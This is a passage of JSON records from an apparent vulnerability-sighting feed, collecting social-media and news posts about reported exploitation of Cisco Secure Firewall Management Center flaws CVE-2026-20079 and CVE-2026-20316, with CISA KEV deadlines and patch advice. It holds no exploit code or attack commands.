"author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/shortinfo.bsky.social/post/3mv5jokgd25vz", "content": "Cisco confirmed active exploitation of CVE-2026-20079 in Secure Firewall Management Center. Cisco says the critical auth-bypass flaw can allow unauthenticated remote root-level command execution and has no workaround. Cisco Talos says customers should apply the released hotfixes.", "creation_timestamp": "2026-09-10T07:33:04.603286Z"}, {"uuid": "093f5387-2858-4d10-9b13-063483bc2875", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-09)", "content": "", "creation_timestamp": "2026-09-10T10:15:11.499507Z"}, {"uuid": "d14e41fb-0436-4a70-bef2-867a27f9b9d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://t.me/BleepingComputer/25525", "content": "\u200aCisco confirms CVE-2026-20079 Secure FMC flaw exploited in attacks\n\nCisco has confirmed that a maximum-severity authentication bypass vulnerability tracked as CVE-2026-20079 in its Secure Firewall Management Center (FMC) software is being actively exploited in attacks. [...]\n\nhttps://www.bleepingcomputer.com/news/security/cisco-confirms-cve-2026-20079-secure-fmc-flaw-exploited-in-attacks/", "creation_timestamp": "2026-09-10T08:00:05.071106Z"}, {"uuid": "a3b80f79-ff6f-4d6a-87a3-84226094d14f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20079", "type": "seen", "source": "https://bsky.app/profile/Legu.mastodon.acerbo.me.ap.brid.gy/post/3mv5qpq7cirq2", "content": "Cisco confirms active exploitation of CVE-2026-20079 Cisco has confirmed that CVE-2026-20079 , a CVSS 10.\n\nhttps://www.bleepingcomputer.com/news/security/cisco-confirms-cve-2026-20079-secure-fmc-flaw-exploited-in-attacks/", "creation_timestamp": "2026-09-10T09:34:16.982322Z"}, {"uuid": "dbd9b7c3-054f-45eb-85b1-003c42192506", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mv5ts6w2fa2a", "content": "CVE-2026-20079 enables unauthenticated remote attackers to bypass authentication, execute scripts, and gain root access on vulnerable Cisco Secure Firewall FMC devices.\n", "creation_timestamp": "2026-09-10T10:29:13.125794Z"}, {"uuid": "abe51d93-1674-4534-9a77-59a4e2befe4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/helpnetsecurity.com/post/3mv5xdrfwa224", "content": "Cisco FMC bugs exploited by nation-state and ransomware actors (CVE-2026-20079, CVE-2026-20316)\n\n\ud83d\udcd6 Read more: www.helpnetsecurity.com/2026/09/10/c...\n\n#cybersecurity #cybersecuritynews #APT #firewall #ransomware #vulnerability @cisco.com @talosintelligence.com @horizon3ai.bsky.social", "creation_timestamp": "2026-09-10T11:32:46.079100Z"}, {"uuid": "c0106894-4cae-46cd-84a7-fb82f96110a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/helpnetsecurity.com/post/3mv5xdrfwa224", "content": "Cisco FMC bugs exploited by nation-state and ransomware actors (CVE-2026-20079, CVE-2026-20316)\n\n\ud83d\udcd6 Read more: www.helpnetsecurity.com/2026/09/10/c...\n\n#cybersecurity #cybersecuritynews #APT #firewall #ransomware #vulnerability @cisco.com @talosintelligence.com @horizon3ai.bsky.social", "creation_timestamp": "2026-09-10T11:32:46.138144Z"}, {"uuid": "1f8f89e2-a725-42a8-9a8d-a9e579206009", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mv5xmcpuel2u", "content": "Cisco FMC(Secure Firewall Management Center)\u306e\u8106\u5f31\u6027\u3001\u56fd\u5bb6\u652f\u63f4\u578b\u653b\u6483\u8005\u3068\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u653b\u6483\u8005\u304c\u60aa\u7528(CVE-2026-20079\u3001CVE-2026-20316)\n\n\u56fd\u5bb6\u306e\u652f\u63f4\u3092\u53d7\u3051\u305f\u653b\u6483\u8005\u3068\u91d1\u92ad\u76ee\u7684\u306e\u653b\u6483\u8005\u304c\u3001Cisco Secure Firewall Management Center(FMC)\u306e\u91cd\u5927\u306a\u8a8d\u8a3c\u30d0\u30a4\u30d1\u30b9\u8106\u5f31\u6027\u3067\u3042\u308bCVE-2026-20079\u3092\u7a4d\u6975\u7684\u306b\u60aa\u7528\u3057\u3066\u3044\u307e\u3059\u3002FMC\u306f\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u5168\u4f53\u3067\u8907\u6570\u306eCisco Secure Firewall\u30c7\u30d0\u30a4\u30b9...", "creation_timestamp": "2026-09-10T11:37:29.924591Z"}, {"uuid": "bf9186fd-a3e4-49aa-ad77-30bca61df1d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mv5xmcpuel2u", "content": "Cisco FMC(Secure Firewall Management Center)\u306e\u8106\u5f31\u6027\u3001\u56fd\u5bb6\u652f\u63f4\u578b\u653b\u6483\u8005\u3068\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u653b\u6483\u8005\u304c\u60aa\u7528(CVE-2026-20079\u3001CVE-2026-20316)\n\n\u56fd\u5bb6\u306e\u652f\u63f4\u3092\u53d7\u3051\u305f\u653b\u6483\u8005\u3068\u91d1\u92ad\u76ee\u7684\u306e\u653b\u6483\u8005\u304c\u3001Cisco Secure Firewall Management Center(FMC)\u306e\u91cd\u5927\u306a\u8a8d\u8a3c\u30d0\u30a4\u30d1\u30b9\u8106\u5f31\u6027\u3067\u3042\u308bCVE-2026-20079\u3092\u7a4d\u6975\u7684\u306b\u60aa\u7528\u3057\u3066\u3044\u307e\u3059\u3002FMC\u306f\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u5168\u4f53\u3067\u8907\u6570\u306eCisco Secure Firewall\u30c7\u30d0\u30a4\u30b9...", "creation_timestamp": "2026-09-10T11:37:29.981866Z"}, {"uuid": "41dfeb3d-7de6-4981-b404-5b9ebf2acc66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/cerberusit.bsky.social/post/3mv5xtqmcjg2h", "content": "Cisco and CISA are begging folks to care about CVE-2026-20079 exploitation on Secure FMC. Naturally, the March disclosure was ignored.\n\n#CiscoSurprise #IgnoreThePatch", "creation_timestamp": "2026-09-10T11:41:39.706438Z"}, {"uuid": "5b961602-ca0a-45b0-ab7a-1d3f30c31d0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/cerberusit.bsky.social/post/3mv5xtswuc22m", "content": "Here we go again, with CISA and Cisco practically pleading with organizations running Secure FMC to acknowledge that CVE-2026-20079 is being gleefully abused. Apparently disclosing a vulnerability back in March 2026 was merely an academic suggestion for most IT shops. Shielding o...\n\nRead full story", "creation_timestamp": "2026-09-10T11:41:41.768478Z"}, {"uuid": "49b8f1ba-fe74-4693-a50d-707ed4474c88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/hapsis.bsky.social/post/3mv5zld3afc2z", "content": "Cisco FMC bugs exploited by nation-state and ransomware actors (CVE-2026-20079, CVE-2026-20316)\n\nwww.helpnetsecurity.com/2026/09/10/c...\n\n#Cybersecurity #Cyber #SituationalAwareness", "creation_timestamp": "2026-09-10T12:12:46.339851Z"}, {"uuid": "24019716-d12a-4753-bfe8-c7e138b4cf82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/hapsis.bsky.social/post/3mv5zld3afc2z", "content": "Cisco FMC bugs exploited by nation-state and ransomware actors (CVE-2026-20079, CVE-2026-20316)\n\nwww.helpnetsecurity.com/2026/09/10/c...\n\n#Cybersecurity #Cyber #SituationalAwareness", "creation_timestamp": "2026-09-10T12:12:46.403322Z"}, {"uuid": "72989e30-2471-4e8f-9db1-6bc52f26bcfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20079", "type": "seen", "source": "https://infosec.exchange/users/jbhall56/statuses/117246840000496231", "content": "The vulnerability has a maximum CVSS score of 10.0 and allows unauthenticated, remote attackers to bypass authentication and execute scripts and commands as root on vulnerable devices. https://www.bleepingcomputer.com/news/security/cisco-confirms-cve-2026-20079-secure-fmc-flaw-exploited-in-attacks/", "creation_timestamp": "2026-09-10T12:53:20.409955Z"}, {"uuid": "58b88cc2-d6f6-43c0-912f-41de089ba18c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://www.securityweek.com/organizations-warned-of-cisco-secure-fmc-exploitation/", "content": "Cisco and CISA have flagged exploitation of CVE-2026-20079, a vulnerability disclosed in March 2026.\n\nThe post Organizations Warned of Cisco Secure FMC Exploitation appeared first on SecurityWeek.", "creation_timestamp": "2026-09-10T13:00:40.856170Z"}, {"uuid": "58a81ddf-97f2-4f41-9ba0-f5490229e134", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/techoverload.bsky.social/post/3mv66a2v3pa2y", "content": "Cisco says attackers are exploiting CVE-2026-20079 in Secure FMC. The auth bypass can lead to root access, so this isn't one to leave for the next maintenance window\u2014apply Cisco's fixed release and check exposed managers now. \ud83d\udd12\n\n#Security #Cisco", "creation_timestamp": "2026-09-10T13:35:56.189052Z"}, {"uuid": "676d568c-ad0c-4669-ab70-6740d0c86984", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mv66ji3prz2g", "content": "\ud83e\udd16 CISA added three actively exploited flaws (Cisco, Citrix, Fortinet) to its KEV catalog. Cisco's CVE-2026-20079 is rated CVSS 10.0. Federal agencies must patch by Sept 12.\nhttps://thehackernews.com/2026/09/cisa-flags-exploited-cisco-citrix.html", "creation_timestamp": "2026-09-10T13:41:11.420414Z"}, {"uuid": "7c90e18f-9b21-41fd-a138-4ad97ebffd91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://t.me/information_security_channel/55884", "content": "Organizations Warned of Cisco Secure FMC Exploitation\nhttps://www.securityweek.com/organizations-warned-of-cisco-secure-fmc-exploitation/\n\nCisco and CISA have flagged exploitation of CVE-2026-20079, a vulnerability disclosed in March 2026.\nThe post Organizations Warned of Cisco Secure FMC Exploitation (https://www.securityweek.com/organizations-warned-of-cisco-secure-fmc-exploitation/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2026-09-10T14:00:04.600921Z"}, {"uuid": "a0c052f7-f71b-4317-9a67-579d03fc1b71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/newsfacts.bsky.social/post/3mv67nuscu523", "content": "Kwetsbaarheden in Cisco Firewalls Grijpen Aanvallers de Kans\n\nTwee kritieke kwetsbaarheden in Cisco Secure Firewall Management Center (FMC) Software, met de codenamen CVE-2026-20079 en CVE-2026-20316, worden momenteel actief misbruikt door staatsgesponsorde hackgroepen en...", "creation_timestamp": "2026-09-10T14:01:33.244857Z"}, {"uuid": "fd071e5b-9364-409d-93eb-7d7bd7375fb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/newsfacts.bsky.social/post/3mv67nuscu523", "content": "Kwetsbaarheden in Cisco Firewalls Grijpen Aanvallers de Kans\n\nTwee kritieke kwetsbaarheden in Cisco Secure Firewall Management Center (FMC) Software, met de codenamen CVE-2026-20079 en CVE-2026-20316, worden momenteel actief misbruikt door staatsgesponsorde hackgroepen en...", "creation_timestamp": "2026-09-10T14:01:33.289872Z"}, {"uuid": "742a8f60-d1db-4b68-8db7-627d194f51d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://t.me/GithubRedTeam/101928", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20805-POC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ZeroDayEvil\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-10 11:29:37\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-10T15:00:05.484570Z"}, {"uuid": "0f9ca07a-a046-4aee-902b-5bdc40a02dc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mv6cwmh3d72m", "content": "\ud83d\udce2 Cisco confirme l'exploitation active de CVE-2026-20079, faille critique dans Secure FMC\n\nBleepingComputer, publi\u00e9 le 9 septembre 2026. Cisco a officiellement confirm\u00e9 l'exploitation active de CVE-2026-20079, une vuln\u00e9rabilit\u00e9\u2026\n\n\ud83d\udfe2 v\u00e9rification factuelle haute\n#CISAKEV #CiscoSecureFMC #Cyberveille", "creation_timestamp": "2026-09-10T15:00:07.530484Z"}, {"uuid": "b6541eb6-cea5-4682-97d6-8b25f0786eb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mv6fhklk6g2l", "content": "Cisco FMC bugs CVE-2026-20079 and CVE-2026-20316 are being exploited by nation-state and ransomware actors for unauthenticated access and root control. Talos links activity to Sandworm and Qilin. #CiscoFMC #Sandworm #Qilin", "creation_timestamp": "2026-09-10T15:45:23.769712Z"}, {"uuid": "c2d4cd93-5814-40ab-9baa-4942cfb5c9a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mv6fhklk6g2l", "content": "Cisco FMC bugs CVE-2026-20079 and CVE-2026-20316 are being exploited by nation-state and ransomware actors for unauthenticated access and root control. Talos links activity to Sandworm and Qilin. #CiscoFMC #Sandworm #Qilin", "creation_timestamp": "2026-09-10T15:45:23.823176Z"}, {"uuid": "9c1baedd-3080-4264-9659-65b412c0bbfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://thehackernews.com/2026/09/cisa-flags-exploited-cisco-citrix.html", "content": "The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Wednesday added three flaws, each impacting Cisco, Citrix, and Fortinet, to its Known Exploited Vulnerabilities (KEV) catalog, requiring Federal Civilian Executive Branch (FCEB) agencies to apply the patches by September 12, 2026.\n\nThe vulnerabilities are listed below -\n\n\n  CVE-2026-20079 (CVSS score: 10.0) - An authentication", "creation_timestamp": "2026-09-10T16:00:54.926858Z"}, {"uuid": "adc8c915-19b3-432c-8475-9ebf95f136c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/ff81ecd2-03c9-49f3-a4d2-04b4ae254c8f", "content": "", "creation_timestamp": "2026-09-10T16:04:21.976424Z"}, {"uuid": "cd3d7b6d-88a5-4b98-80f6-f57b87666bdc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/ff81ecd2-03c9-49f3-a4d2-04b4ae254c8f", "content": "", "creation_timestamp": "2026-09-10T16:04:21.976424Z"}, {"uuid": "6a94cbde-1141-41f7-ba2f-2b73a3686340", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/securitycyebruk.bsky.social/post/3mv6gzrpedh2g", "content": "CVE-2026-20079 (Cisco Secure FMC) is on CISA KEV and being exploited in the wild \u2014 apply vendor updates or isolate FMC management now. https://cti.securitycyber.uk", "creation_timestamp": "2026-09-10T16:13:28.188696Z"}, {"uuid": "6cc6c8be-3ce8-4ff6-833a-88bbf306115c", "vulnerability_lookup_origin": "cce329bf-df49-4c6e-a027-80be2e6483bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/4a2197ee-574d-4238-a771-79344c84b722", "content": "", "creation_timestamp": "2026-09-10T17:00:01.424653Z"}, {"uuid": "10134bce-17a1-4614-be8f-a359f21def0e", "vulnerability_lookup_origin": "cce329bf-df49-4c6e-a027-80be2e6483bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/3641ff59-fcf5-4d2b-ae10-e57aa0a324e3", "content": "", "creation_timestamp": "2026-09-10T17:00:01.505901Z"}, {"uuid": "cf789e27-008a-4714-a920-50b91aa6c88b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://t.me/GithubRedTeam/101954", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20805-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ZeroDayEvil\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-10 15:49:18\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-10T17:00:04.040335Z"}, {"uuid": "50f5de08-00fc-4c6c-b0d5-93c4cd5edd8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/117247831473136769", "content": "Three threat clusters, including state-sponsored actors and Qilin ransomware affiliates, have exploited two critical Cisco FMC vulnerabilities to deploy web shells, Cyclops Blink malware, and steal sensitive credentials. Cisco has confirmed the exploitation of CVE-2026-20079 and CVE-2026-20316 and urges all customers to install the released hotfixes immediately.https://www.bleepingcomputer.com/news/security/cisco-fmc-flaws-exploited-by-ransomware-gang-state-sponsored-hackers/", "creation_timestamp": "2026-09-10T17:05:29.002689Z"}, {"uuid": "b3ca84db-d0e4-4078-8fed-ae8bd0ee00a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/117247831473136769", "content": "Three threat clusters, including state-sponsored actors and Qilin ransomware affiliates, have exploited two critical Cisco FMC vulnerabilities to deploy web shells, Cyclops Blink malware, and steal sensitive credentials. Cisco has confirmed the exploitation of CVE-2026-20079 and CVE-2026-20316 and urges all customers to install the released hotfixes immediately.https://www.bleepingcomputer.com/news/security/cisco-fmc-flaws-exploited-by-ransomware-gang-state-sponsored-hackers/", "creation_timestamp": "2026-09-10T17:05:29.044496Z"}, {"uuid": "605863b1-2ff8-43b5-aec0-49112b3dc6a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20079", "type": "seen", "source": "https://bsky.app/profile/endoflife.ai/post/3mv6nhva6r42j", "content": "\ud83d\udcd6 New from endoflife.ai:\n\nCisco FMC CVE-2026-20079: Fixed on Six Trains, Silent on 7.3 and 7.1\n\nhttps://endoflife.ai/article-cisco-fmc-cve-2026-20079-no-fix-for-7-3", "creation_timestamp": "2026-09-10T18:08:43.896043Z"}, {"uuid": "98bd9d61-8358-4847-bb2f-050f6625d0da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://infosec.exchange/users/wdormann/statuses/117248101603233547", "content": "Not to be outdone by having a code execution vulnerability in the Notepad app, there's also one in mspaint.exe\nGranted I don't expect the latter to be exploited in the wild, but I still reserve the right to laugh at them.", "creation_timestamp": "2026-09-10T18:14:11.579387Z"}, {"uuid": "40c161d4-3452-4e5c-861b-89388b50b7c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://threatintel.cc/2026/09/10/cisco-fmc-flaws-exploited-by.html", "content": "Cisco FMC flaws exploited by ransomware gang, state-sponsored hackers\n\nThree threat clusters, including state-sponsored actors and Qilin ransomware affiliates, have exploited two critical Cisco FMC vulnerabilities to deploy web shells, Cyclops Blink malware, and steal sensitive credentials. Cisco has confirmed the exploitation of CVE-2026-20079 and CVE-2026-20316 and urges all customers to install the released hotfixes immediately.", "creation_timestamp": "2026-09-10T19:00:41.885526Z"}, {"uuid": "b1a5a946-6ce5-4d1c-9703-63e14523cb35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://threatintel.cc/2026/09/10/cisco-fmc-flaws-exploited-by.html", "content": "Cisco FMC flaws exploited by ransomware gang, state-sponsored hackers\n\nThree threat clusters, including state-sponsored actors and Qilin ransomware affiliates, have exploited two critical Cisco FMC vulnerabilities to deploy web shells, Cyclops Blink malware, and steal sensitive credentials. Cisco has confirmed the exploitation of CVE-2026-20079 and CVE-2026-20316 and urges all customers to install the released hotfixes immediately.", "creation_timestamp": "2026-09-10T19:00:41.942416Z"}, {"uuid": "65797d02-9cfc-4b63-a8c0-2f1ed141c8d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/luduan001.bsky.social/post/3mv6vszhilu2c", "content": "\ud83d\udee1\ufe0f Cisco confirms critical FMC vulnerability (CVE-2026-20079, CVSS 10.0) being exploited by Sandworm & Qilin ransomware. Attackers gain unauthenticated root access. CISA mandates patching by Sept 12. No workarounds \u2014 upgrade immediately. #Cybersecurity #Cisco", "creation_timestamp": "2026-09-10T20:38:07.549382Z"}, {"uuid": "ce727a4d-e669-4323-911a-0ad45401b73b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mv6w6wxpck25", "content": "Cisco confirms CVE-2026-20079 Secure FMC flaw exploited in attacks\n\nCisco has confirmed that a maximum-severity authentication bypass vulnerability tracked as CVE-2026-20079 in its Secure Firewall Management Center (FMC) software is being actively exploited in attacks. [...]\n#hackernews #news", "creation_timestamp": "2026-09-10T20:44:48.447829Z"}, {"uuid": "bbc29d6f-c8bb-4f63-8641-a6bff6a67be2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "Telegram/atcv8EwBIbBdFIko-Fk_Da89kwxzBANel4SqvKTGg4HZ_w", "content": "", "creation_timestamp": "2026-09-10T21:00:05.561300Z"}, {"uuid": "25eb57e9-b3f5-4ff3-afeb-61c39f691ce6", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/5b74aac8-cd90-4795-8070-f991dc6120df", "content": "", "creation_timestamp": "2026-09-10T21:00:39.480074Z"}, {"uuid": "6265ad2f-6ae8-4473-8291-fba4b5e57024", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/luduan001.bsky.social/post/3mv6za2ir6t2r", "content": "\ud83d\udee1\ufe0f Cisco confirms critical FMC vulnerability (CVE-2026-20079, CVSS 10.0) being exploited by Sandworm & Qilin ransomware. Attackers gain unauthenticated root access. CISA mandates patching by Sept 12. No workarounds \u2014 upgrade immediately. #Cybersecurity #Cisco", "creation_timestamp": "2026-09-10T21:39:06.092168Z"}, {"uuid": "81a70546-8c97-42d9-9e76-73b180d6c444", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/cvemon.bsky.social/post/3mv6zdufucl2v", "content": "CVE-2026-20079 is trending. Hype score 8, currently #5 on cvemon.\n\nA vulnerability in the web interface of Cisco Secure Firewall Management Center (FMC) Software could allow an unauthenticated, remote attacker to bypass authentication and execute\u2026\n\nhttps://cvemon.intruder.io/cves/CVE-2026-20079", "creation_timestamp": "2026-09-10T21:41:13.868166Z"}, {"uuid": "8e044385-68b1-4e6d-be40-4441d4a48845", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20941", "type": "seen", "source": 